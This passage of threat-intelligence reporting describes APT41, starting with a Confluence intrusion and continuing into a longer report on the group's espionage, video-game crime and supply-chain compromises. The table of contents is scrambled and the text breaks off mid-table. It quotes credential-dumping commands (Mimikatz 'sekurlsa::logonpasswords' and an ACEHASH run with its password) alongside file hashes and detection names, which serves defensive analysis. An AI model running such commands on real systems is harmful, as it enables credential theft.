minutes, the attackers utilized both the test.jsp web shell and the HIGHNOON backdoor to issue commands to the system. As China Chopper relies on HTTP requests, attacker traffic to and from this web shell was easily observed via network monitoring. The attacker utilized China Chopper to perform the following: Movement of 64.dat and Ins64.exe to C:\Program Files\Atlassian\Confluence Performing a directory listing of C:\Program Files\Atlassian\Confluence Performing a directory listing of C:\Users Additionally, FireEye s FLARE team reverse engineered the custom protocol utilized by the HIGHNOON backdoor, allowing us to decode the attacker s traffic. Figure 4 provides a list of the various commands issued by the attacker utilizing HIGHNOON. Figure 4: Decoded HIGHNOON commands issued by the attacker Playing Their ACEHASH Card As shown in Figure 4, the attacker utilized the HIGHNOON backdoor to execute a PowerShell command that downloaded a script from PowerSploit, a well-known PowerShell Post-Exploitation Framework. At the time of this blog post, the script was no longer available for downloading. The commands provided to the script privilege::debug sekurlsa::logonpasswords exit exit indicate that the unrecovered script was likely a copy of Invoke-Mimikatz, reflectively loading Mimikatz 2.0 in-memory. Per the observed HIGHNOON output, this command failed. After performing some additional reconnaissance, the attacker utilized HIGHNOON to download two additional files into the C:\Program Files\Atlassian\Confluence directory: c64.exe (MD5: 846cdb921841ac671c86350d494abf9c) F64.data (MD5: a919b4454679ef60b39c82bd686ed141) These two files are the dropper and encrypted/compressed payload components, respectively, of a malware family known as ACEHASH. ACEHASH is a credential theft and password dumping utility that combines the functionality of multiple tools such as Mimikatz, hashdump, and Windows Credential Editor (WCE). Upon placing c64.exe and F64.data on the system, the attacker ran the command c64.exe f64.data "9839D7F1A0 -m This specific command provided a password of 9839D7F1A0 to decrypt the contents of F64.data, and a switch of , indicating the attacker wanted to replicate the functionality of Mimikatz. With the correct password provided, c64.exe loaded the decrypted and decompressed shellcode into memory and harvested credentials. Ultimately, the attacker was able to exploit a vulnerability, execute code, and download custom malware on the vulnerable Confluence system. While Mimikatz failed, via ACEHASH they were able to harvest a single credential from the system. However, as Managed Defense detected this activity rapidly via network signatures, this operation was neutralized before the attackers progressed any further. Key Takeaways From This Incident APT41 utilized multiple malware families to maintain access into this environment; impactful remediation requires full scoping of an incident. For effective Managed Detection & Response services, having coverage of both Endpoint and Network is critical for detecting and responding to targeted attacks. Attackers may weaponize vulnerabilities quickly after their release, especially if they are present within a targeted environment. Patching of critical vulnerabilities ASAP is crucial to deter active attackers. Detecting the Techniques FireEye detects this activity across our platform, including detection for certutil usage, HIGHNOON, and China Chopper. Detection Signature Name China Chopper FE_Webshell_JSP_CHOPPER_1 FE_Webshell_Java_CHOPPER_1 FE_Webshell_MSIL_CHOPPER_1 HIGHNOON.PASSIVE FE_APT_Backdoor_Raw64_HIGHNOON_2 FE_APT_Backdoor_Win64_HIGHNOON_2 Certutil Downloader CERTUTIL.EXE DOWNLOADER (UTILITY) CERTUTIL.EXE DOWNLOADER A (UTILITY) ACEHASH FE_Trojan_AceHash Indicators Type Indicator MD5 Hash (if applicable) File test.jsp 84d6e4ba1f4268e50810dacc7bbc3935 File 64.dat 51e06382a88eb09639e1bc3565b444a6 File Ins64.exe e42555b218248d1a2ba92c1532ef6786 File c64.exe 846cdb921841ac671c86350d494abf9c File F64.data a919b4454679ef60b39c82bd686ed141 IP Address 67.229.97[.]229 Looking for more? Join us for a webcast on August 29, 2019 where we detail more of APT41 activities. You can also find a direct link to the public APT41 report here. Acknowledgements Special thanks to Dan Perez, Andrew Thompson, Tyler Dean, Raymond Leong, and Willi Ballenthin for identification and reversing of the HIGHNOON.PASSIVE malware. APT41 Double Dragon APT41, a dual espionage and cyber crime operation SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION SPECIAL REPORT | APT40 Table of Contents Overview...........................................................................................4 Links to Other Known Chinese Espionage Operators....................................................................................... 34 Targeting...........................................................................................6 Certificate Overlap............................................................. 35 Launcher Overlap............................................................... 36 Operations Over Time.................................................................8 Code Family Overlap......................................................... 36 Cyber Espionage Activity........................................................ 10 Use of Code-Signing Certificates........................................ 39 Case Study: Healthcare Sector Targeting...................12 Outlook and Implications........................................................ 41 Financially Motivated Activity.............................................. 14 Case Study: Video Game Industry Targeting.............17 Technical Annex: Attack Lifecycle...................................... 42 Initial Compromise............................................................. 43 Third-Party Access.................................................................... 20 Establish Foothold............................................................. 44 Escalate Privileges............................................................. 45 History of Supply Chain Compromises...............................21 December 2014....................................................................22 March 2017.............................................................................23 July 2017................................................................................. 24 June 2018................................................................................25 July 2018................................................................................ 26 Overlaps Between Espionage and Financial Internal Reconnaissance.................................................. 45 Lateral Movement............................................................... 46 Maintain Presence.............................................................. 47 Complete Mission............................................................... 48 Technical Annex: MITRE ATT&CK Mapping..................... 49 Operations.....................................................................................27 Technical Annex: Code-Signing Certificates Used by APT41................................................................................................51 Attribution.................................................................................... 30 Technical Annex: Additional Malware Overlaps............52 Background............................................................................52 Status as Potential Contractors........................................... 33 HIGHNOON............................................................................52 HIGHNOON.BIN and HIGHNOON.LITE........................52 HIGHNOON.LINUX and HIGHNOON........................... 54 CROSSWALK and CROSSWALK.BIN.......................... 54 Technical Annex: Malware Used by APT41......................60 Technical Annex: APT41 IOCs............................................... 63 SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Executive Summary FireEye Threat Intelligence assesses with high confidence that APT41 is a Chinese state-sponsored espionage group that is also conducting financially motivated activity for personal gain. APT41 espionage operations against the healthcare, high-tech, and telecommunications sectors include establishing and maintaining strategic access, and through mid-2015, the theft of intellectual property. The group's operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance. FireEye Threat Intelligence assesses with high confidence that APT41 carries out an array of financially motivated intrusions, particularly against the video game industry, including stealing source code and digital certificates, virtual currency manipulation, and attempting to deploy ransomware. APT41 has executed multiple software supply chain compromises, gaining access to software companies to inject malicious code into legitimate files before distributing updates. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Overview FireEye Threat Intelligence assesses with high confidence that APT41 is a prolific cyber threat group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity potentially outside of state control. Activity traces back to 2012 when individual members of APT41 conducted primarily financially motivated operations focused on the video game industry before expanding into likely statesponsored activity. This is remarkable because explicit financially motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests these two motivations were balanced concurrently from 2014 onward. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage operations in what appears to be activity that falls outside the scope of state-sponsored missions. Based on early observed activity, consistent behavior, and APT41's unusual focus on the video game industry, we believe the group's cyber crime activities are most likely motivated by personal financial gain or hobbyist interests. This contrasts with the state-sponsored goals that likely drive the group's healthcare, high-tech, and politically related targeting. We believe that APT41 is highly sophisticated and innovative. Its history of financially motivated targeting of the video game industry has ultimately supported the group's state-sponsored activity. The group's distinct use of supply chain compromises to target select individuals, consistent use of compromised digital certificates, and deployment of bootkits (rare among APT operators), highlight a creative and wellresourced adversary. Some of the early operations driven by personal gain used techniques that would later be pivotal in executing supply chain compromises. Learning to access video game production environments enabled APT41 to develop the tactics, techniques, and procedures (TTPs) that were later leveraged against software companies to inject malicious code into software updates. APT41 campaigns include most of the incidents previously attributed in FireEye Threat Intelligence reporting to GREF Team and a number of additional clusters that were previously unnamed. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Targeting Like other Chinese espionage operators, APT41 targets industries in a manner generally aligned with China's Five-Year economic development plans. However, some campaigns attributed to APT41 indicate that the group is also deployed to gather intelligence ahead of imminent events, such as mergers and acquisitions (M&A) and political events. Directly targeted verticals include: Healthcare: including medical devices and diagnostics High-tech: including semiconductors, advanced computer hardware, battery technology, and electric vehicles Media: including news organizations Pharmaceuticals Retail Software companies: which were compromised in supply chain operations potentially affecting large numbers of victims Telecoms Travel services Education Video games: including development studios, distributors/publishers, and activities enabling supply chain compromises Virtual currencies: including in-game currencies, cryptocurrencies, and related services APT41 has targeted organizations in 14 countries (and Hong Kong) over seven years, including: France, India, Italy, Japan, Myanmar, the Netherlands, Singapore, South Korea, South Africa, Switzerland, Thailand, Turkey, the United Kingdom, and the United States (Figure 1). APT41 espionage operations against entities in these countries follow targeting of verticals consistent with Chinese national policy priorities. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 1: Countries and industries targeted directly by APT41. Industries Targeted Automotive Financial Pharmaceuticals Business Services Healthcare Retail Cryptocurrency High-Tech Telecommunications Education Intergovernmental Travel Energy Media and Entertainment SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Operations Over Time The duality of APT41's state-sponsored activity and its own cyber crime operations is demonstrated in the group's simultaneous operations. Throughout the group s observable history, APT41 has consistently run its own financially motivated campaigns concurrently with espionage operations. In contrast, APT41 espionage targeting has changed significantly over time, suggesting shifts in assigned missions or new contracts to complete. A breakdown of industries targeted by APT41 over time can be found in Figure 2. We believe that like other Chinese espionage operators, APT41 has moved toward strategic intelligence collection and establishing access, but away from direct intellectual property theft. This shift, however, has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons. We have not observed evidence of IP theft since late 2015. In 2014, APT41 was observed carrying out espionage campaigns concurrently with financially motivated intrusions, demonstrating that they could balance different objectives simultaneously. Espionage operations occurred while the group was still carrying out financially motivated campaigns, including longer-term intrusions, which typically extended for more than a year. In one instance, APT41 was attempting to steal data from a healthcare target while also attempting to deploy ransomware at a video game studio. Compromising organizations in different sectors concurrently provides some indication that they are fulfilling specific assigned tasks. Campaigns have expanded into additional industries including telecoms, the automotive sector, higher education, and travel services. In 2015, we observed a time period in which eight organizations in six different industries were compromised simultaneously. Since 2017, APT41's activities have included a series of supply chain compromises. The operation injects malware into legitimate server software packages used by hundreds of companies worldwide but limits deployment of additional payloads to select targets. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 2: Timeline of industries targeted by APT41. INDUSTRIES TARGETED BY APT 41 2012 Video Game 2013 2014 2015 2016 2017 2018 2019 Video Game Video Game Video Game Video Game Retail Video Game Education Video Game Related Video Game Related Video Game Related Video Game Related Telecom Telecom Telecom Hi-Tech Hi-Tech Hi-Tech Hi-Tech Hi-Tech Finance Hi-Tech Intergovernmental Media Media Media Travel Healthcare Healthcare Healthcare Automotive Healthcare Pharmaceutical Energy Software Software SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Cyber Espionage Activity Observed APT41 targeting is consistent with China's national strategies to move production capabilities upmarket into research and development (R&D)-heavy fields. These initiatives were especially highlighted with "Made in China 2025," a plan announced in 2015 that aims to shift China's economy toward higher value products and services, including pharmaceuticals, semiconductors, and other high-tech industries. We assess that the targeting of high-tech firms that produce computer components aligns with Chinese interests in domestically developing high-end technologies as outlined in the 12th (2011) and 13th (2016) Five-Year plans, as well as the Made in China 2025 (2015) initiative. Since 2013, APT41 has targeted organizations involved in the research, development, and sale of computer components used for machine-learning, autonomous vehicles, medical imaging, and the consumer market. The group also targeted companies involved in producing motherboards, processors, and server solutions for enterprises. In April 2013, the group targeted an enterprise cloud-computing provider. Developing domestic cloud-computing technologies was a goal in the 12th Five-Year Plan. In a 2014 compromise, APT41 targeted a European conglomerate and specifically focused on systems physically located in China. The timing of multiple intrusions attributed to the group indicate a focused interest in strategic business decisions, including entry into the Chinese market, partnerships/ M&A, and expansion into other regional markets. In October 2017, an intrusion into a retailer targeted strategic investment plans at the same time as the firm was beginning to negotiate a partnership with a Chinese company (although this potential deal was not publicized). In spring 2015, APT41 targeted information related to two entities undergoing a merger announced the previous year. This included data related to a senior executive, as well as payroll and communications integration issues. Since 2017, APT41 has consistently targeted telecommunications companies, possibly a crucial first step to establish a foothold in targeting a particular region. Targeted telecom companies spanned several countries, and recently identified intrusions were concentrated in countries where we had not identified any prior APT41 activity. APT41 has targeted large telecom companies and their subsidiaries in various locations, demonstrating consistent interest in obtaining access to these targets. The group has also repeatedly targeted call record information at telecom companies, supporting indications of their wider intelligence collection efforts. In addition to specifically targeting industries of strategic value, we suggest that APT41 is also given more tactical assignments, including reconnaissance and identifying dissidents. A hotel was targeted two weeks ahead of a diplomatic visit in which high-ranking Chinese officials stayed there. Personal data within the reservations system was directly accessed, suggesting the group was potentially tasked to reconnoiter the facility. We assess with moderate confidence that APT41 gathered intelligence on pro-democracy dissidents in Hong Kong based on the targets and timing of operations. In July and August 2016, APT41 sent spear-phishing emails to Hong Kong media organizations known for pro-democracy editorial content. The timing and targeting of this activity suggests possible interest in the pro-democracy Umbrella Movement candidates who were running for seats in Hong Kong's legislative council. A spear-phishing email with the subject-line "help" was later sent to one of the previously targeted organizations in October 2017, coinciding with the sentencing of pro-democracy Occupy activists. The ruling placed a five-year ban on the activists from holding public offices in Hong Kong. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION This was the first instance we have observed of APT41 targeting pro-democracy groups in Hong Kong. APT41 frequently leverages timely news stories as the lure content in their spear-phishing emails, although social engineering content does not always correlate with targeted users or organizations. In 2015, APT41 targeted a Japanese media organization with a lure document (Figure 3) titled (MERS) which translates to "Prevention of Middle East Respiratory Syndrome (MERS)." The fear of respiratory infections and a potential pandemic provide particularly effective lure material against targets in the Asia-Pacific region that had first-hand experience with prior SARS and avian flu outbreaks. Figure 3: MERS-themed lure document leveraging for C&C (MD5: 5e87b09f9a3f1b728c9797560a38764b). SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION CASE STUDY Healthcare Sector Targeting APT41 activity aimed at medical device companies and pharmaceuticals is demonstrative of the group's capacity to collect sensitive and highly valuable intellectual property (IP), although we have not observed evidence of IP theft since late 2015. The healthcare sector was targeted in a manner that is highly specific and most likely indicative of focused taskings from sponsoring organizations with a stake in the healthcare market. Targeted information included pharmaceutical development, clinical trial data, and intelligence regarding a medical subsidiary's parent company. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION The targeting of these organizations just ahead of the release of products requiring a long R&D cycle can confer a significant market advantage to a competitor. The observed activities are indicative of ongoing efforts to support China's own R&D efforts in support of Made in China 2025. Between July 2014 and May 2016, APT41 targeted a medical devices subsidiary of a large corporation. Although APT41 initially targeted the parent company, 30 percent of the victimized hosts were related to a subsidiary specialized in manufacturing medical devices. Password strings and spoofed domains leveraged in the operation signify a narrow tasking to target the subsidiary instead of the parent corporation. We have some indication based on the nature of hosts targeted that APT41 was interested in information technology employees and software used by the medical device subsidiary. A keylogger dubbed GEARSHIFT was first deployed at the medical device company. A digital certificate from the victim was compromised and used to sign malware used in an operation against a separate biotech company detailed below. A biotech company undergoing acquisition was targeted by APT41 in May 2015. Highly sensitive information about corporate operations, including human resources data, tax information, and acquisitionrelated documents, were targeted. Clinical trials data of developed drugs, academic data, and R&D funding-related documents were exfiltrated. The time frame, use of the same GEARSHIFT sample, and a digital certificate from the aforementioned medical device company provide some indication that these two campaigns were conducted by the same operator concurrently. In 2018, we observed APT41 target a third healthcare company, although their goals during this compromise were unclear. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Financially Motivated Activity Unlike other observed Chinese espionage operators, APT41 conducts explicit financially motivated activity, which has included the use of tools that are otherwise exclusively used in campaigns supporting state interests. The latenight to early morning activity of APT41's financially motivated operations suggests that the group primarily conducts these activities outside of their normal day jobs. However, the group compiled malware for use in cyber crime activity even during espionage-focused working hours. As demonstrated in Figure 4, operational times for APT41 espionage operations over all observed activity are relatively close to Chinese work hours (in UTC +8, China's time zone). In contrast, the group's financially motivated activity targeting the video game industry tends to occur much later in the night. Operational times at gaming targets are most frequent between 18:00 and 07:00 (UTC +8), providing some indication that the group is moonlighting. Note that this is based on data collected over years and does not represent a daily schedule. The typical working hours in China for tech workers is a "996" work schedule (9:00 a.m. to 9:00 p.m., six days a week), which is consistent with APT41's operational activity observed over time. Operational times at targets not related to video games (and therefore, almost certainly in support of state-sanctioned missions) are more frequent between 14:00 and 22:00 (China Standard Time (CST), UTC +8), closer to conventional working hours (Figure 4). Analysis of compile times for all portable executable (PE) files suggests that APT41's average working hours fall between 10:00 to 23:00 (UTC +8), highlighting that the financially motivated activity is most likely extraneous to their espionage operations. Compile times for samples used in suspected financial gain missions are skewed toward later in the evening, roughly 19:00 to 00:00 (UTC +8). However, there is significant overlap with the compile times of PE files deployed at espionage targets between 15:00 to 19:00 (UTC +8). SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION APT41 Operational Times UTC +8 Figure 4: Operational activity for gaming versus nongaming-related targeting based on observed operations since 2012. Operational Times at Gaming Targets Operational Times at Non-Gaming Targets The group has also targeted cryptocurrencies, including at least one case in which there was a connection between cryptocurrency and an online video gaming platform. In June 2018, APT41 sent spear-phishing emails using an invitation lure to join a decentralized gaming platform linked to a cryptocurrency service (Figure 5) that had positioned itself as a medium of exchange for online games and gambling sites. The malicious emails were sent from an email address listed with the name Tom Giardino, which is likely a reference to an employee at Valve, an American video game developer responsible for the software distribution platform Steam and various video games. The body of the email (Figure 6) also mentions gaming offerings. This provides another connection between the targeting of the cryptocurrency organizations and video game targeting. In October 2018, the group compiled an instance of XMRig, a Monero cryptocurrency mining tool, demonstrating a continued interest in cryptocurrency. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 5: Screenshot of invitation to join the FairWin online gaming platform. Figure 6: English translation of invitation to join the FairWin online gaming platform. From: Tom Giardino < Date: Subject: Project (FairWin) online application! Project Introduction: FairWin is a decentralized online gaming platform. Be sure to win fairness because our special FairChannel guarantees accurate RTP rates. The system is based on a blockchain, which means that the gameplay process is open. The payment of the bonus is automatic. Not dependent on the organizer. In addition to this, we also offer fun generous games with fascinating graphics. It can be run on any device and any browser so that all players can enjoy these experiences. Please refer to the attachment for other details! SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION CASE STUDY Video Game Industry Targeting APT41 continuously returns to targeting the video game sector and seems to have matured its campaigns through lessons learned in operations against the industry. We believe these operations include broadly malicious activity that can enable further operations, such as targeting game source code and compromising digital certificates, while other activities are explicitly financially motivated, such as abusing in-game currency mechanics. APT41 campaigns focused on the video game sector have largely affected studios and distributors in East and Southeast Asia, although global companies based in the United States have also been targeted. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION The group leverages many TTPs during the targeting of video game-related organizations, which are likewise employed in their espionage operations. Since at least 2012, APT41 has repeatedly gained access to game development environments within affected companies, including online multiplayer networks, as well as targeting of production database administrators. The group is competent in both Linux and Windows environments and can pivot easily between both environments within a single operation, including compromising intermediary servers that provide access to separated Windows and Linux environments. In October 2012, APT41 used captured credentials to compromise a jump server and access a production environment where they deployed a Linux version of PHOTO. Based on the machines targeted, we have some indication that APT41 specifically sought to access production machines used in the development of an upcoming online game. In 2014, APT41 used a variant of SOGU that is capable of connecting to Windows and Linux systems via SSH and Samba/CIFS. APT41 has been observed inserting malicious code into legitimate video game files to distribute malware. In 2018, the group inserted CRACKSHOT malware into game files that were signed with legitimate codesigning certificates, most likely indicating access to the production environment, which facilitated a supply chain compromise. A highly similar incident in 2014 suggests that APT41 (or a closely affiliated actor) has a history of carrying out such operations against the video game industry. APT41's experience gaining access to production environments may have been a precursor to more recent supply chain compromises. The insertion of malware into a build environment for later distribution with legitimate software is a natural extension of the group's earliest activities. Additional details are provided in the section "History of Supply Chain Compromises." We have also observed APT41 limitedly deploy rootkits on Linux systems and Master Boot Record (MBR) bootkits, such as ROCKBOOT, on Windows systems to hide their malware and maintain persistence on victim systems. Selective deployment of ROCKBOOT suggests that APT41 reserves more advanced TTPs and malware only for high-value targets. Bootkits are a stealthy means of installing malware because the code resides outside of the OS. Because bootkits are initialized prior to the OS and operate in kernel mode, OS applications and security tools may have great difficulty detecting bootkits. The use of bootkits among threat actors, however, is rare. It is more common for threat actors to rely on techniques such as DLL search order hijacking or modifying Windows registry keys to achieve persistence. The group used the Adore-NG rootkit on older Linux operating systems to hide their Linux backdoor ADORE.XSEC. Note that the Adore-ng rootkit is no longer in development and would likely not run successfully on modern Linux systems, but APT41 deployed this on a legacy game server. APT41 is well-known for leveraging compromised digital certificates from video game studios to sign malware. The group has abused at least 19 different certificates in this way. Additional details on code-signing certificates are provided in the section "Use of Code Signing Certificates." In 2012, APT41 used a code-signing certificate from Mgame, a South Korean game publisher, against other gaming industry entities. The serial number for this certificate was: 01:00:00:00:00:01:30:73:85:f7:02 SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION A different Mgame digital certificate has been used by several other Chinese operators, including APT17, APT20, and APT31. It is unclear if this certificate was compromised at the same time as the one used by APT41 (or if it was stolen by APT41 and shared with these other groups). The serial number for this certificate was: 4e:eb:08:05:55:f1:ab:f7:09:bb:a9:ca:e3:2f:13:cd APT41 has blatantly engaged in financially motivated activity targeting the video game industry, including manipulating virtual currencies. These activities demonstrate established connections to underground marketplaces and familiarity with monetization and laundering techniques. Using its access to a game production environment, in less than three hours the group generated tens of millions of dollars of a popular game's virtual currency. The money was credited to more than 1,000 accounts and most likely sold and laundered in underground markets. APT41 has targeted payment services specializing in handling in-game transactions and real money transfer (RMT) purchases. In a highly unusual case, APT41 attempted to extort a game company by deploying the Encryptor RaaS Figure 7: Screenshot of ransomware note. ransomware. We suggest that APT41 sought to target in-game currency but found they could not monetize the specific targeted game, so the group resorted to ransomware to attempt to salvage their efforts and profit from the compromise. This ransomware was sold via a Ransomware-asa-Service (RaaS) operation that was available via a Tor (.onion) website. Users of the ransomware were charged a 20 percent fee for any collected ransom. Since this was not the group's typical method of choice for collecting money from a victim environment, it is possible that APT41 turned to a payfor-service ransomware to avoid having to develop such a tool or set up the associated payment and infrastructure associated with collecting the ransom. APT41 attempted to deploy the ransomware through a group policy (GPO) scheduled task. However, the malware was unsuccessfully deployed because of a simple typo. Figure 7 shows the ransom note associated with Encryptor RaaS, which contains default messages in both English and German (the instruction links have been redacted). Given that this is the default message, the languages in the note should not be considered when determining actor origin or location. ATTENTION! The files on your computer have been securely encrypted. To get access to your files again, follow the instructions at: ACHTUNG! Die Dateien auf Ihrem Computer wurden ischer verschluesselt. Um den Zugriff auf Ihre Dateien wiederzuerlangen, folgen Sie der Anleitung auf: SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Third-Party Access In multiple instances, APT41 targeted third parties and leveraged this access to target additional victims. APT41's exploitation of third parties varied. In some instances, APT41 moved laterally from one victim environment to another in order to initiate compromise. APT41 has also used credentials compromised in previous operations. In 2014, APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service. The payment service was likely targeted because it provided access to multiple gaming companies. Although we do not have first-hand evidence of APT41's compromise of TeamViewer, we have observed APT41 use compromised TeamViewer credentials as an entry point at multiple organizations. During a 2017 compromise, APT41 initiated a TeamViewer session and transferred files that were later deleted. Filenames and creation times indicate that these may have been the HIGHNOON backdoor. According to statements by a TeamViewer's spokesperson, the company was targeted in fall 2016. The company stated that they conducted a comprehensive security audit of its IT architecture and added additional security measures to help strengthen its security posture. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION History of Supply Chain Compromises Supply chain compromises are most likely an extension of APT41's tactics used in gaining access to gaming development environments and to other gaming organizations via third-party service providers. Public reports of supply chain compromises linked to APT41 date back to at least 2014, and technical evidence associated with these incidents was used to determine a relationship, if any, with APT41. Our assessment in each of these cases is noted in Table 1. As demonstrated in operations targeting the video game industry, APT41 leverages a variety of TTPs to access production environments where they can inject malicious code into legitimate files. The files are signed with valid code-signing certificates and distributed widely to end users. Although APT41 supply chain compromises affect very large numbers of victims, the group limits follow-on activity to select victims most likely to reduce detection and ensure any additional malware is delivered only to intended victims. Counterintuitively, supply chain operations add an additional layer of obscurity to the group's operations because it is difficult to pinpoint the desired target set. In a June 2018 supply chain compromise, APT41 leveraged MAC addresses and C:\ drive volume serial numbers to identify specifically targeted victims for follow-on activity. This significantly obfuscates the targeted sector or victim set; in a typical spear-phishing campaign, for example, desired targeting can be discerned based on recipients' email addresses. Supply chain targeting requires more effort than typically observed mass targeting methods, such as establishing a strategic web compromise (SWC) or conducting large spear-phishing campaigns. Table 1. Supply chain compromises. Date Compromised Entities FireEye Attribution Assessment Online games distributed by a Southeast Asian video game distributor December 2014 Path of Exile Possibly APT41 or a close affiliate League of Legends FIFA Online 3 March 2017 CCleaner Utility Unconfirmed APT41 July 2017 Netsarang software packages (aka ShadowPad) Confirmed APT41 June 2018 - November 2018 ASUS Live Update utility (aka ShadowHammer) Stage 1 unconfirmed APT41 Reported Stage 2 confirmed APT41 July 2018 Southeast Asian video game distributor Infestation PointBlank Confirmed APT41 SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION December 2014 In December 2014, installers for three online games published by a Southeast Asian video game distributor were injected with the SOGU backdoor. The installer for these popular games was replaced by a malicious file that dropped the SOGU backdoor along with the normal game installer. Use of the same malware families (HIGHNOON.BIN, HIGHNOON.LITE, EASYNIGHT, FRONTWHEEL) The video game distributor operates servers in East and Southeast Asia for some of the most popular online games, including the three games that were compromised: Path of Exile, League of Legends, and FIFA Online 3 (Table 2). Video game-related supply chain targeting We have observed many similarities between TTPs involved in this compromise and APT41, including: Use of HIGHNOON.BIN samples with the same compile times Overlap in domain resolution to the same IP netblock (61.38.186.0/24) during the same time frame in 2012 Despite these compelling overlaps, the actors responsible for this compromise leverage additional unique tools not observed with APT41 or any other Chinese espionage group, suggesting that they are either part of APT41 and maintain their own toolset, or a close affiliate of APT41 that shares both tools and taskings. Targeting the same victim organization 31 days apart Use of code-signing certificates from the same video game-related issuer organizations Table 2. 2014 compromised games. Game File MD5 Malware SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION March 2017 In March 2017, suspected Chinese espionage operators targeted CCleaner, a utility that assists in the removal of unwanted files from a computer. According to the parent company, Avast, the infected CCleaner was downloaded by 2.27 million customers. While we have identified some overlaps between the CCleaner activity and APT41, we do not have enough information to attribute the CCleaner compromise to APT41 at this time. Both APT41 and the actors in the CCleaner incident used TeamViewer during initial compromise. According to Avast, the actors used TeamViewer to compromise a developer workstation and used VBScript (x64.vbs) to drop a malicious payload. The compromised CCleaner update (which we call DIRTCLEANER) is believed to download a second-stage loader (MD5: 748aa5fcfa2af451c76039faf6a8684d) that contains a 32-bit and 64-bit COLDJAVA DLL payload. The COLDJAVA payload contains shellcode that loads a variant of BLACKCOFFEE (Figure 8). While COLDJAVA has been used by APT41, BLACKCOFFEE has been used by other Chinese cyber espionage groups, including APT17 and APT40. It is possible that COLDJAVA may also be shared between distinct cyber espionage operators. Malware samples identified in the CCleaner incident included notable shared design decisions observed in APT41 malware, including the use of domain generation algorithms (DGA) for C&C, use of dead drop resolvers (DDR), and use of shellcode as primary payloads. However, FireEye malware analysis of the compromised CCleaner samples and associated COLDJAVA samples did not reveal shared code with the POISONPLUG and POISONPLUG.SHADOW malware samples used in similar supply chain incidents by APT41. DIRTCLEANER uses DGA to generate new C&C domains each month. This is similar to first-stage malware used in the Netsarang compromise described below. The BLACKCOFFEE sample reaches out to actorcontrolled profiles hosted on legitimate websites to retrieve encoded commands for C&C, a technique known as DDR. The malware parses the content of the websites (listed in Table 3), looking for 12 bytes contained between the tags: "BSM1cr0S0ft" and "SBM1cr0Soft." APT41 POISONPLUG samples have also used DDR for C&C. The POISONPLUG and POISONPLUG.SHADOW samples in similar supply chain incidents use a shellcode format that resembles PE files, while the BLACKCOFFEE backdoor that was delivered in the CCleaner compromise uses a traditional PIC blob. Additionally, there is apparent code reuse between observed POISONPLUG and POISONPLUG samples not observed in the CCleaner samples. Table 3. BLACKCOFFEE DDR websites. Figure 8: Malware downloaded by DIRTCLEANER. File MD5 3ca2a13f646690481 dc15d78bac6d829 DIRTCLEANER COLDJAVA BLACKCOFFEE Legitimate DDR Websites Used for C&C SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION July 2017 In July 2017, APT41 injected malicious code into a software update package maintained by Netsarang and signed it with a legitimate Netsarang certificate in an operation referred to as "ShadowPad" by Kaspersky. The software package is reportedly used by hundreds of companies worldwide. We observed numerous opportunistic infections associated with POISONPLUG.SHADOW spanning 13 countries and a variety of industries, demonstrating the broad impact of this operation. However, we have not observed the associated second-stage at any victim organizations. Open-source reporting indicated one victim was identified in Hong Kong. Signing the malicious update with a legitimate NetSarang certificate is consistent with APT41's pattern of using legitimate certificates. In this case, all updates were required to be signed by Netsarang, which means APT41 had to use the code-signing certificate to subvert the update mechanism. Alternatively, it is also possible that APT41 injected malicious code into the package prior to compilation, circumventing the need to steal the code-signing certificate and compile it on their own. The first stage of the malware uses DGA, which changes its C&C servers monthly. The use of shifting network infrastructure is most likely intended to add operational robustness and to reduce detection. The second-stage shellcode is initialized only after it is activated using a decryption key retrieved from the first-stage DNS communications. This likely allows APT41 to selectively activate the payload on specific victim systems. The second-stage payload contains the default C&C server, notped.com, which overlaps with other APT41 C&C infrastructure. Other reported APT41 domains that may also be related to the second-stage payload can be found in Table 4. Table 4. Reported APT41 domains associated with POISONPLUG.SHADOW. Domain Associated Malware Family 